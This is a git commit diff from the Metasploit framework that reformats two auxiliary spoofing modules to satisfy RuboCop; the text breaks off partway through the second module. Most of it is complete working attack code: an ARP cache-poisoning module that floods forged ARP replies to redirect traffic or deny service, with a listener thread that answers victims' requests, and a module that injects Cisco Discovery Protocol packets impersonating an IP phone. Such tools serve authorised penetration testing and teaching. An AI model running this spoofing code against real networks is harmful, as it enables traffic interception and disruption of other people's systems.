modules/auxiliary/spoof: Resolve RuboCop violations
This commit is contained in:
@@ -9,49 +9,55 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'ARP Spoof',
|
||||
'Name' => 'ARP Spoof',
|
||||
'Description' => %q{
|
||||
Spoof ARP replies and poison remote ARP caches to conduct IP address spoofing or a denial of service.
|
||||
},
|
||||
'Author' => 'amaloteaux', # msf rewrite
|
||||
#tons of people
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['OSVDB', '11169'],
|
||||
['CVE', '1999-0667'],
|
||||
['URL', 'https://en.wikipedia.org/wiki/ARP_spoofing']
|
||||
],
|
||||
'DisclosureDate' => 'Dec 22 1999' #osvdb date
|
||||
'Author' => [
|
||||
'amaloteaux', # msf rewrite
|
||||
# tons of people
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['OSVDB', '11169'],
|
||||
['CVE', '1999-0667'],
|
||||
['URL', 'https://en.wikipedia.org/wiki/ARP_spoofing']
|
||||
],
|
||||
'DisclosureDate' => 'Dec 22 1999', # osvdb date
|
||||
'Notes' => {
|
||||
'Stability' => [OS_RESOURCE_LOSS],
|
||||
'SideEffects' => [IOC_IN_LOGS],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('SHOSTS', [true, 'Spoofed ip addresses']),
|
||||
OptString.new('SMAC', [false, 'The spoofed mac']),
|
||||
OptString.new('DHOSTS', [true, 'Target ip addresses']),
|
||||
OptString.new('INTERFACE', [false, 'The name of the interface']),
|
||||
OptBool.new( 'BIDIRECTIONAL', [true, 'Spoof also the source with the dest',false]),
|
||||
OptBool.new( 'AUTO_ADD', [true, 'Auto add new host when discovered by the listener',false]),
|
||||
OptBool.new( 'LISTENER', [true, 'Use an additional thread that will listen for arp requests to reply as fast as possible', true])
|
||||
OptString.new('SHOSTS', [true, 'Spoofed IP addresses']),
|
||||
OptString.new('SMAC', [false, 'Spoofed MAC address']),
|
||||
OptString.new('DHOSTS', [true, 'Target IP addresses']),
|
||||
OptString.new('INTERFACE', [false, 'The name of the interface']),
|
||||
OptBool.new('BIDIRECTIONAL', [true, 'Spoof also the source with the destination', false]),
|
||||
OptBool.new('AUTO_ADD', [true, 'Auto add new host when discovered by the listener', false]),
|
||||
OptBool.new('LISTENER', [true, 'Use an additional thread that will listen for arp requests to reply as fast as possible', true])
|
||||
])
|
||||
|
||||
register_advanced_options([
|
||||
OptString.new('LOCALSMAC', [false, 'The MAC address of the local interface to use for hosts detection, this is useful only if you want to spoof to another host with SMAC']),
|
||||
OptString.new('LOCALSIP', [false, 'The IP address of the local interface to use for hosts detection']),
|
||||
OptInt.new( 'PKT_DELAY', [true, 'The delay in milliseconds between each packet during poisoning', 100]),
|
||||
OptString.new('LOCALSMAC', [false, 'The MAC address of the local interface to use for hosts detection, this is useful only if you want to spoof to another host with SMAC']),
|
||||
OptString.new('LOCALSIP', [false, 'The IP address of the local interface to use for hosts detection']),
|
||||
OptInt.new('PKT_DELAY', [true, 'The delay in milliseconds between each packet during poisoning', 100]),
|
||||
OptInt.new('TIMEOUT', [true, 'The number of seconds to wait for new data during host detection', 2]),
|
||||
# This mode will generate address ip conflict pop up on most systems
|
||||
OptBool.new( 'BROADCAST', [true, 'If set, the module will send replies on the broadcast address without consideration of DHOSTS', false])
|
||||
# This mode will generate address IP conflict pop up on most systems
|
||||
OptBool.new('BROADCAST', [true, 'If set, the module will send replies on the broadcast address without consideration of DHOSTS', false])
|
||||
])
|
||||
|
||||
deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE','RHOST','SECRET','GATEWAY_PROBE_HOST','GATEWAY_PROBE_PORT')
|
||||
deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE', 'RHOST', 'SECRET', 'GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT')
|
||||
end
|
||||
|
||||
def run
|
||||
open_pcap({'SNAPLEN' => 68, 'FILTER' => "arp[6:2] == 0x0002"})
|
||||
open_pcap({ 'SNAPLEN' => 68, 'FILTER' => 'arp[6:2] == 0x0002' })
|
||||
@netifaces = true
|
||||
if not netifaces_implemented?
|
||||
print_error("WARNING : Pcaprub is not up-to-date, some functionality will not be available")
|
||||
if !netifaces_implemented?
|
||||
print_error('WARNING : Pcaprub is not up-to-date, some functionality will not be available')
|
||||
@netifaces = false
|
||||
end
|
||||
@spoofing = false
|
||||
@@ -77,15 +83,15 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
@sip = datastore['LOCALSIP']
|
||||
@sip ||= get_ipv4_addr(@interface) if @netifaces
|
||||
raise "LOCALSIP is not defined and can not be guessed" unless @sip
|
||||
raise "LOCALSIP is not an ipv4 address" unless Rex::Socket.is_ipv4?(@sip)
|
||||
raise 'LOCALSIP is not defined and can not be guessed' unless @sip
|
||||
raise 'LOCALSIP is not an ipv4 address' unless Rex::Socket.is_ipv4?(@sip)
|
||||
|
||||
shosts_range = Rex::Socket::RangeWalker.new(datastore['SHOSTS'])
|
||||
shosts_range = Rex::Socket::RangeWalker.new(datastore['SHOSTS'])
|
||||
@shosts = []
|
||||
if datastore['BIDIRECTIONAL']
|
||||
shosts_range.each{|shost| if Rex::Socket.is_ipv4?(shost) and shost != @sip then @shosts.push shost end}
|
||||
shosts_range.each { |shost| if Rex::Socket.is_ipv4?(shost) && (shost != @sip) then @shosts.push shost end }
|
||||
else
|
||||
shosts_range.each{|shost| if Rex::Socket.is_ipv4?(shost) then @shosts.push shost end}
|
||||
shosts_range.each { |shost| if Rex::Socket.is_ipv4?(shost) then @shosts.push shost end }
|
||||
end
|
||||
|
||||
if datastore['BROADCAST']
|
||||
@@ -93,69 +99,67 @@ class MetasploitModule < Msf::Auxiliary
|
||||
else
|
||||
arp_poisoning
|
||||
end
|
||||
|
||||
rescue => ex
|
||||
print_error( ex.message)
|
||||
rescue StandardError => e
|
||||
print_error(e.message)
|
||||
ensure
|
||||
|
||||
if datastore['LISTENER']
|
||||
@listener.kill if @listener
|
||||
if datastore['LISTENER'] && @listener
|
||||
@listener.kill
|
||||
end
|
||||
|
||||
if capture and @spoofing and not datastore['BROADCAST']
|
||||
print_status("RE-ARPing the victims...")
|
||||
if capture && @spoofing && !datastore['BROADCAST']
|
||||
print_status('RE-ARPing the victims...')
|
||||
3.times do
|
||||
@dsthosts_cache.keys.sort.each do |dhost|
|
||||
dmac = @dsthosts_cache[dhost]
|
||||
if datastore['BIDIRECTIONAL']
|
||||
@srchosts_cache.keys.sort.each do |shost|
|
||||
smac = @srchosts_cache[shost]
|
||||
if shost != dhost
|
||||
vprint_status("Sending arp packet for #{shost} to #{dhost}")
|
||||
reply = buildreply(shost, smac, dhost, dmac)
|
||||
inject(reply)
|
||||
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
|
||||
end
|
||||
next unless shost != dhost
|
||||
|
||||
vprint_status("Sending arp packet for #{shost} to #{dhost}")
|
||||
reply = buildreply(shost, smac, dhost, dmac)
|
||||
inject(reply)
|
||||
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
|
||||
end
|
||||
else
|
||||
@shosts.each do |shost|
|
||||
if shost != dhost
|
||||
vprint_status("Sending arp request for #{shost} to #{dhost}")
|
||||
request = buildprobe(dhost, dmac, shost)
|
||||
inject(request)
|
||||
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
|
||||
end
|
||||
next unless shost != dhost
|
||||
|
||||
vprint_status("Sending arp request for #{shost} to #{dhost}")
|
||||
request = buildprobe(dhost, dmac, shost)
|
||||
inject(request)
|
||||
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
|
||||
end
|
||||
end
|
||||
end
|
||||
if datastore['BIDIRECTIONAL']
|
||||
@srchosts_cache.keys.sort.each do |shost|
|
||||
smac = @srchosts_cache[shost]
|
||||
@dsthosts_cache.keys.sort.each do |dhost|
|
||||
dmac = @dsthosts_cache[dhost]
|
||||
if shost != dhost
|
||||
vprint_status("Sending arp packet for #{dhost} to #{shost}")
|
||||
reply = buildreply(dhost, dmac, shost, smac)
|
||||
inject(reply)
|
||||
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
|
||||
end
|
||||
end
|
||||
next unless datastore['BIDIRECTIONAL']
|
||||
|
||||
@srchosts_cache.keys.sort.each do |shost|
|
||||
smac = @srchosts_cache[shost]
|
||||
@dsthosts_cache.keys.sort.each do |dhost|
|
||||
dmac = @dsthosts_cache[dhost]
|
||||
next unless shost != dhost
|
||||
|
||||
vprint_status("Sending arp packet for #{dhost} to #{shost}")
|
||||
reply = buildreply(dhost, dmac, shost, smac)
|
||||
inject(reply)
|
||||
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
|
||||
end
|
||||
end
|
||||
end # 3.times
|
||||
end
|
||||
end
|
||||
close_pcap
|
||||
end #begin/rescue/ensure
|
||||
end
|
||||
end
|
||||
|
||||
def broadcast_spoof
|
||||
print_status("ARP poisoning in progress (broadcast)...")
|
||||
while(true)
|
||||
print_status('ARP poisoning in progress (broadcast)...')
|
||||
loop do
|
||||
@shosts.each do |shost|
|
||||
vprint_status("Sending arp packet for #{shost} address")
|
||||
reply = buildreply(shost, @smac, '0.0.0.0', 'ff:ff:ff:ff:ff:ff')
|
||||
inject(reply)
|
||||
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
|
||||
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -166,46 +170,47 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
dhosts_range = Rex::Socket::RangeWalker.new(datastore['DHOSTS'])
|
||||
@dhosts = []
|
||||
dhosts_range.each{|dhost| if Rex::Socket.is_ipv4?(dhost) and dhost != @sip then @dhosts.push(dhost) end}
|
||||
dhosts_range.each { |dhost| if Rex::Socket.is_ipv4?(dhost) && (dhost != @sip) then @dhosts.push(dhost) end }
|
||||
|
||||
# Build the local dest hosts cache
|
||||
print_status("Building the destination hosts cache...")
|
||||
print_status('Building the destination hosts cache...')
|
||||
@dhosts.each do |dhost|
|
||||
vprint_status("Sending arp packet to #{dhost}")
|
||||
|
||||
probe = buildprobe(@sip, lsmac, dhost)
|
||||
inject(probe)
|
||||
while(reply = getreply())
|
||||
next if not reply.is_arp?
|
||||
# Without this check any arp request would be added to the cache
|
||||
if @dhosts.include? reply.arp_saddr_ip
|
||||
print_good("#{reply.arp_saddr_ip} appears to be up.")
|
||||
report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
|
||||
@dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
|
||||
end
|
||||
end
|
||||
while (reply = getreply)
|
||||
next if !reply.is_arp?
|
||||
|
||||
# Without this check any arp request would be added to the cache
|
||||
next unless @dhosts.include? reply.arp_saddr_ip
|
||||
|
||||
print_good("#{reply.arp_saddr_ip} appears to be up.")
|
||||
report_host(host: reply.arp_saddr_ip, mac: reply.arp_saddr_mac)
|
||||
@dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
|
||||
end
|
||||
end
|
||||
# Wait some few seconds for last packets
|
||||
etime = Time.now.to_f + datastore['TIMEOUT']
|
||||
while (Time.now.to_f < etime)
|
||||
while(reply = getreply())
|
||||
next if not reply.is_arp?
|
||||
if @dhosts.include? reply.arp_saddr_ip
|
||||
print_good("#{reply.arp_saddr_ip} appears to be up.")
|
||||
report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
|
||||
@dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
|
||||
end
|
||||
while (reply = getreply)
|
||||
next if !reply.is_arp?
|
||||
|
||||
next unless @dhosts.include? reply.arp_saddr_ip
|
||||
|
||||
print_good("#{reply.arp_saddr_ip} appears to be up.")
|
||||
report_host(host: reply.arp_saddr_ip, mac: reply.arp_saddr_mac)
|
||||
@dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
|
||||
end
|
||||
Kernel.select(nil, nil, nil, 0.50)
|
||||
end
|
||||
raise "No hosts found" unless @dsthosts_cache.length > 0
|
||||
raise 'No hosts found' if @dsthosts_cache.empty?
|
||||
|
||||
# Build the local src hosts cache
|
||||
if datastore['BIDIRECTIONAL']
|
||||
print_status("Building the source hosts cache for unknown source hosts...")
|
||||
print_status('Building the source hosts cache for unknown source hosts...')
|
||||
@shosts.each do |shost|
|
||||
if @dsthosts_cache.has_key? shost
|
||||
if @dsthosts_cache.key? shost
|
||||
vprint_status("Adding #{shost} from destination cache")
|
||||
@srchosts_cache[shost] = @dsthosts_cache[shost]
|
||||
next
|
||||
@@ -213,30 +218,31 @@ class MetasploitModule < Msf::Auxiliary
|
||||
vprint_status("Sending arp packet to #{shost}")
|
||||
probe = buildprobe(@sip, lsmac, shost)
|
||||
inject(probe)
|
||||
while(reply = getreply())
|
||||
next if not reply.is_arp?
|
||||
if @shosts.include? reply.arp_saddr_ip
|
||||
print_good("#{reply.arp_saddr_ip} appears to be up.")
|
||||
report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
|
||||
@srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
|
||||
end
|
||||
end
|
||||
while (reply = getreply)
|
||||
next if !reply.is_arp?
|
||||
|
||||
next unless @shosts.include? reply.arp_saddr_ip
|
||||
|
||||
print_good("#{reply.arp_saddr_ip} appears to be up.")
|
||||
report_host(host: reply.arp_saddr_ip, mac: reply.arp_saddr_mac)
|
||||
@srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
|
||||
end
|
||||
end
|
||||
# Wait some few seconds for last packets
|
||||
etime = Time.now.to_f + datastore['TIMEOUT']
|
||||
while (Time.now.to_f < etime)
|
||||
while(reply = getreply())
|
||||
next if not reply.is_arp?
|
||||
if @shosts.include? reply.arp_saddr_ip
|
||||
print_good("#{reply.arp_saddr_ip} appears to be up.")
|
||||
report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
|
||||
@srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
|
||||
end
|
||||
while (reply = getreply)
|
||||
next if !reply.is_arp?
|
||||
|
||||
next unless @shosts.include? reply.arp_saddr_ip
|
||||
|
||||
print_good("#{reply.arp_saddr_ip} appears to be up.")
|
||||
report_host(host: reply.arp_saddr_ip, mac: reply.arp_saddr_mac)
|
||||
@srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
|
||||
end
|
||||
Kernel.select(nil, nil, nil, 0.50)
|
||||
end
|
||||
raise "No hosts found" unless @srchosts_cache.length > 0
|
||||
raise 'No hosts found' if @srchosts_cache.empty?
|
||||
end
|
||||
|
||||
if datastore['AUTO_ADD']
|
||||
@@ -248,20 +254,18 @@ class MetasploitModule < Msf::Auxiliary
|
||||
start_listener(@dsthosts_cache, @srchosts_cache)
|
||||
end
|
||||
# Do the job until user interrupt it
|
||||
print_status("ARP poisoning in progress...")
|
||||
print_status('ARP poisoning in progress...')
|
||||
@spoofing = true
|
||||
while(true)
|
||||
loop do
|
||||
if datastore['AUTO_ADD']
|
||||
@mutex_cache.lock
|
||||
if @dsthosts_autoadd_cache.length > 0
|
||||
if !@dsthosts_autoadd_cache.empty?
|
||||
@dsthosts_cache.merge!(@dsthosts_autoadd_cache)
|
||||
@dsthosts_autoadd_cache = {}
|
||||
end
|
||||
if datastore['BIDIRECTIONAL']
|
||||
if @srchosts_autoadd_cache.length > 0
|
||||
@srchosts_cache.merge!(@srchosts_autoadd_cache)
|
||||
@srchosts_autoadd_cache = {}
|
||||
end
|
||||
if datastore['BIDIRECTIONAL'] && @srchosts_autoadd_cache.length > (0)
|
||||
@srchosts_cache.merge!(@srchosts_autoadd_cache)
|
||||
@srchosts_autoadd_cache = {}
|
||||
end
|
||||
@mutex_cache.unlock
|
||||
end
|
||||
@@ -269,53 +273,53 @@ class MetasploitModule < Msf::Auxiliary
|
||||
dmac = @dsthosts_cache[dhost]
|
||||
if datastore['BIDIRECTIONAL']
|
||||
@srchosts_cache.keys.sort.each do |shost|
|
||||
smac = @srchosts_cache[shost]
|
||||
if shost != dhost
|
||||
vprint_status("Sending arp packet for #{shost} to #{dhost}")
|
||||
reply = buildreply(shost, @smac, dhost, dmac)
|
||||
inject(reply)
|
||||
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
|
||||
end
|
||||
@srchosts_cache[shost]
|
||||
next unless shost != dhost
|
||||
|
||||
vprint_status("Sending arp packet for #{shost} to #{dhost}")
|
||||
reply = buildreply(shost, @smac, dhost, dmac)
|
||||
inject(reply)
|
||||
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
|
||||
end
|
||||
else
|
||||
@shosts.each do |shost|
|
||||
if shost != dhost
|
||||
vprint_status("Sending arp packet for #{shost} to #{dhost}")
|
||||
reply = buildreply(shost, @smac, dhost, dmac)
|
||||
inject(reply)
|
||||
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
|
||||
end
|
||||
next unless shost != dhost
|
||||
|
||||
vprint_status("Sending arp packet for #{shost} to #{dhost}")
|
||||
reply = buildreply(shost, @smac, dhost, dmac)
|
||||
inject(reply)
|
||||
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if datastore['BIDIRECTIONAL']
|
||||
@srchosts_cache.keys.sort.each do |shost|
|
||||
smac = @srchosts_cache[shost]
|
||||
@dsthosts_cache.keys.sort.each do |dhost|
|
||||
dmac = @dsthosts_cache[dhost]
|
||||
if shost != dhost
|
||||
vprint_status("Sending arp packet for #{dhost} to #{shost}")
|
||||
reply = buildreply(dhost, @smac, shost, smac)
|
||||
inject(reply)
|
||||
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
|
||||
end
|
||||
end
|
||||
next unless datastore['BIDIRECTIONAL']
|
||||
|
||||
@srchosts_cache.keys.sort.each do |shost|
|
||||
smac = @srchosts_cache[shost]
|
||||
@dsthosts_cache.keys.sort.each do |dhost|
|
||||
@dsthosts_cache[dhost]
|
||||
next unless shost != dhost
|
||||
|
||||
vprint_status("Sending arp packet for #{dhost} to #{shost}")
|
||||
reply = buildreply(dhost, @smac, shost, smac)
|
||||
inject(reply)
|
||||
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def is_mac?(mac)
|
||||
if mac =~ /^([a-fA-F0-9]{2}:){5}[a-fA-F0-9]{2}$/ then true
|
||||
else false end
|
||||
else
|
||||
false end
|
||||
end
|
||||
|
||||
def buildprobe(shost, smac, dhost)
|
||||
p = PacketFu::ARPPacket.new
|
||||
p.eth_saddr = smac
|
||||
p.eth_daddr = "ff:ff:ff:ff:ff:ff"
|
||||
p.eth_daddr = 'ff:ff:ff:ff:ff:ff'
|
||||
p.arp_opcode = 1
|
||||
p.arp_daddr_mac = p.eth_daddr
|
||||
p.arp_saddr_mac = p.eth_saddr
|
||||
@@ -338,75 +342,72 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def getreply
|
||||
pkt_bytes = capture.next
|
||||
return if not pkt_bytes
|
||||
return if !pkt_bytes
|
||||
|
||||
pkt = PacketFu::Packet.parse(pkt_bytes)
|
||||
return unless pkt.is_arp?
|
||||
return unless pkt.arp_opcode == 2
|
||||
|
||||
pkt
|
||||
end
|
||||
|
||||
def start_listener(dsthosts_cache, srchosts_cache)
|
||||
|
||||
if datastore['BIDIRECTIONAL']
|
||||
args = {:BIDIRECTIONAL => true, :dhosts => dsthosts_cache.dup, :shosts => srchosts_cache.dup}
|
||||
thread_args = { BIDIRECTIONAL: true, dhosts: dsthosts_cache.dup, shosts: srchosts_cache.dup }
|
||||
else
|
||||
args = {:BIDIRECTIONAL => false, :dhosts => dsthosts_cache.dup, :shosts => @shosts.dup}
|
||||
thread_args = { BIDIRECTIONAL: false, dhosts: dsthosts_cache.dup, shosts: @shosts.dup }
|
||||
end
|
||||
# To avoid any race condition in case of , even if actually those are never updated after the thread is launched
|
||||
args[:AUTO_ADD] = datastore['AUTO_ADD']
|
||||
args[:localip] = @sip.dup
|
||||
@listener = Thread.new(args) do |args|
|
||||
begin
|
||||
# one more local copy
|
||||
liste_src_ips = []
|
||||
if args[:BIDIRECTIONAL]
|
||||
args[:shosts].each_key {|address| liste_src_ips.push address}
|
||||
else
|
||||
args[:shosts].each {|address| liste_src_ips.push address}
|
||||
end
|
||||
liste_dst_ips = []
|
||||
args[:dhosts].each_key {|address| liste_dst_ips.push address}
|
||||
localip = args[:localip]
|
||||
thread_args[:AUTO_ADD] = datastore['AUTO_ADD']
|
||||
thread_args[:localip] = @sip.dup
|
||||
@listener = Thread.new(thread_args) do |args|
|
||||
# one more local copy
|
||||
liste_src_ips = []
|
||||
if args[:BIDIRECTIONAL]
|
||||
args[:shosts].each_key { |address| liste_src_ips.push address }
|
||||
else
|
||||
args[:shosts].each { |address| liste_src_ips.push address }
|
||||
end
|
||||
liste_dst_ips = []
|
||||
args[:dhosts].each_key { |address| liste_dst_ips.push address }
|
||||
localip = args[:localip]
|
||||
|
||||
listener_capture = ::Pcap.open_live(@interface, 68, true, 0)
|
||||
listener_capture.setfilter("arp[6:2] == 0x0001")
|
||||
while(true)
|
||||
pkt_bytes = listener_capture.next
|
||||
if pkt_bytes
|
||||
pkt = PacketFu::Packet.parse(pkt_bytes)
|
||||
if pkt.is_arp?
|
||||
if pkt.arp_opcode == 1
|
||||
# check if the source ip is in the dest hosts
|
||||
if (liste_dst_ips.include? pkt.arp_saddr_ip and liste_src_ips.include? pkt.arp_daddr_ip) or
|
||||
(args[:BIDIRECTIONAL] and liste_dst_ips.include? pkt.arp_daddr_ip and liste_src_ips.include? pkt.arp_saddr_ip)
|
||||
vprint_status("Listener : Request from #{pkt.arp_saddr_ip} for #{pkt.arp_daddr_ip}")
|
||||
reply = buildreply(pkt.arp_daddr_ip, @smac, pkt.arp_saddr_ip, pkt.eth_saddr)
|
||||
3.times{listener_capture.inject(reply.to_s)}
|
||||
elsif args[:AUTO_ADD]
|
||||
if (@dhosts.include? pkt.arp_saddr_ip and not liste_dst_ips.include? pkt.arp_saddr_ip and
|
||||
pkt.arp_saddr_ip != localip)
|
||||
@mutex_cache.lock
|
||||
print_status("#{pkt.arp_saddr_ip} appears to be up.")
|
||||
@dsthosts_autoadd_cache[pkt.arp_saddr_ip] = pkt.arp_saddr_mac
|
||||
liste_dst_ips.push pkt.arp_saddr_ip
|
||||
@mutex_cache.unlock
|
||||
elsif (args[:BIDIRECTIONAL] and @shosts.include? pkt.arp_saddr_ip and
|
||||
not liste_src_ips.include? pkt.arp_saddr_ip and pkt.arp_saddr_ip != localip)
|
||||
@mutex_cache.lock
|
||||
print_status("#{pkt.arp_saddr_ip} appears to be up.")
|
||||
@srchosts_autoadd_cache[pkt.arp_saddr_ip] = pkt.arp_saddr_mac
|
||||
liste_src_ips.push pkt.arp_saddr_ip
|
||||
@mutex_cache.unlock
|
||||
end
|
||||
end
|
||||
end
|
||||
listener_capture = ::Pcap.open_live(@interface, 68, true, 0)
|
||||
listener_capture.setfilter('arp[6:2] == 0x0001')
|
||||
loop do
|
||||
pkt_bytes = listener_capture.next
|
||||
next unless pkt_bytes
|
||||
|
||||
pkt = PacketFu::Packet.parse(pkt_bytes)
|
||||
if pkt.is_arp? && pkt.arp_opcode == (1)
|
||||
# check if the source ip is in the dest hosts
|
||||
if (liste_dst_ips.include?(pkt.arp_saddr_ip) && liste_src_ips.include?(pkt.arp_daddr_ip)) ||
|
||||
(args[:BIDIRECTIONAL] && liste_dst_ips.include?(pkt.arp_daddr_ip) && liste_src_ips.include?(pkt.arp_saddr_ip))
|
||||
vprint_status("Listener : Request from #{pkt.arp_saddr_ip} for #{pkt.arp_daddr_ip}")
|
||||
reply = buildreply(pkt.arp_daddr_ip, @smac, pkt.arp_saddr_ip, pkt.eth_saddr)
|
||||
3.times { listener_capture.inject(reply.to_s) }
|
||||
elsif args[:AUTO_ADD]
|
||||
if @dhosts.include?(pkt.arp_saddr_ip) && !liste_dst_ips.include?(pkt.arp_saddr_ip) &&
|
||||
(pkt.arp_saddr_ip != localip)
|
||||
@mutex_cache.lock
|
||||
print_status("#{pkt.arp_saddr_ip} appears to be up.")
|
||||
@dsthosts_autoadd_cache[pkt.arp_saddr_ip] = pkt.arp_saddr_mac
|
||||
liste_dst_ips.push pkt.arp_saddr_ip
|
||||
@mutex_cache.unlock
|
||||
elsif args[:BIDIRECTIONAL] && @shosts.include?(pkt.arp_saddr_ip) &&
|
||||
!liste_src_ips.include?(pkt.arp_saddr_ip) && (pkt.arp_saddr_ip != localip)
|
||||
@mutex_cache.lock
|
||||
print_status("#{pkt.arp_saddr_ip} appears to be up.")
|
||||
@srchosts_autoadd_cache[pkt.arp_saddr_ip] = pkt.arp_saddr_mac
|
||||
liste_src_ips.push pkt.arp_saddr_ip
|
||||
@mutex_cache.unlock
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue => ex
|
||||
print_error("Listener Error: #{ex.message}")
|
||||
print_error("Listener Error: Listener is stopped")
|
||||
end
|
||||
rescue StandardError => e
|
||||
print_error("Listener Error: #{e.message}")
|
||||
print_error('Listener Error: Listener is stopped')
|
||||
end
|
||||
@listener.abort_on_exception = true
|
||||
end
|
||||
|
||||
@@ -7,38 +7,43 @@ class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Capture
|
||||
|
||||
def initialize
|
||||
|
||||
super(
|
||||
'Name' => 'Send Cisco Discovery Protocol (CDP) Packets',
|
||||
'Name' => 'Send Cisco Discovery Protocol (CDP) Packets',
|
||||
'Description' => %q{
|
||||
This module sends Cisco Discovery Protocol (CDP) packets. Note that any responses
|
||||
to the CDP packets broadcast from this module will need to be analyzed with an
|
||||
external packet analysis tool, such as tcpdump or Wireshark in order to learn more
|
||||
about the Cisco switch and router environment.
|
||||
},
|
||||
'Author' => 'Fatih Ozavci', # viproy.com/fozavci
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
'Author' => 'Fatih Ozavci', # viproy.com/fozavci
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'URL', 'https://en.wikipedia.org/wiki/CDP_Spoofing' ]
|
||||
],
|
||||
'Actions' => [
|
||||
'Actions' => [
|
||||
['Spoof', { 'Description' => 'Sends CDP packets' }]
|
||||
],
|
||||
'DefaultAction' => 'Spoof'
|
||||
'DefaultAction' => 'Spoof',
|
||||
'Notes' => {
|
||||
'Stability' => [OS_RESOURCE_LOSS],
|
||||
'SideEffects' => [IOC_IN_LOGS],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SMAC', [false, "MAC Address for MAC Spoofing"]),
|
||||
OptString.new('VTPDOMAIN', [false, "VTP Domain"]),
|
||||
OptString.new('DEVICE_ID', [true, "Device ID (e.g. SIP00070EEA3156)", "SEP00070EEA3156"]),
|
||||
OptString.new('PORT', [true, "The CDP 'sent through interface' value", "Port 1"]),
|
||||
OptString.new('SMAC', [false, 'MAC address for MAC spoofing']),
|
||||
OptString.new('VTPDOMAIN', [false, 'VTP Domain']),
|
||||
OptString.new('DEVICE_ID', [true, 'Device ID (e.g. SIP00070EEA3156)', 'SEP00070EEA3156']),
|
||||
OptString.new('PORT', [true, "The CDP 'sent through interface' value", 'Port 1']),
|
||||
# XXX: this is not currently implemented
|
||||
#OptString.new('CAPABILITIES', [false, "Capabilities of the device (e.g. Router, Host, Switch)", "Router"]),
|
||||
OptString.new('PLATFORM', [true, "Platform of the device", "Cisco IP Phone 7975"]),
|
||||
OptString.new('SOFTWARE', [true, "Software of the device", "SCCP75.9-3-1SR2-1S"]),
|
||||
# OptString.new('CAPABILITIES', [false, "Capabilities of the device (e.g. Router, Host, Switch)", "Router"]),
|
||||
OptString.new('PLATFORM', [true, 'Platform of the device', 'Cisco IP Phone 7975']),
|
||||
OptString.new('SOFTWARE', [true, 'Software of the device', 'SCCP75.9-3-1SR2-1S']),
|
||||
OptBool.new('FULL_DUPLEX', [true, 'True iff full-duplex, false otherwise', true])
|
||||
])
|
||||
]
|
||||
)
|
||||
|
||||
deregister_options('FILTER', 'PCAPFILE', 'RHOST', 'SNAPLEN', 'TIMEOUT')
|
||||
end
|
||||
@@ -46,8 +51,9 @@ class MetasploitModule < Msf::Auxiliary
|
||||
def setup
|
||||
check_pcaprub_loaded
|
||||
unless smac
|
||||
fail ArgumentError, "Unable to get SMAC from #{interface} -- Set INTERFACE or SMAC"
|
||||
raise ArgumentError, "Unable to get SMAC from #{interface} -- Set INTERFACE or SMAC"
|
||||
end
|
||||
|
||||
open_pcap
|
||||
close_pcap
|
||||
end
|
||||
@@ -61,19 +67,17 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def run
|
||||
begin
|
||||
open_pcap
|
||||
open_pcap
|
||||
|
||||
@run = true
|
||||
cdp_packet = build_cdp
|
||||
print_status("Sending CDP messages on #{interface}")
|
||||
while @run
|
||||
capture.inject(cdp_packet)
|
||||
Rex.sleep(60)
|
||||
end
|
||||
ensure
|
||||
close_pcap
|
||||
@run = true
|
||||
cdp_packet = build_cdp
|
||||
print_status("Sending CDP messages on #{interface}")
|
||||
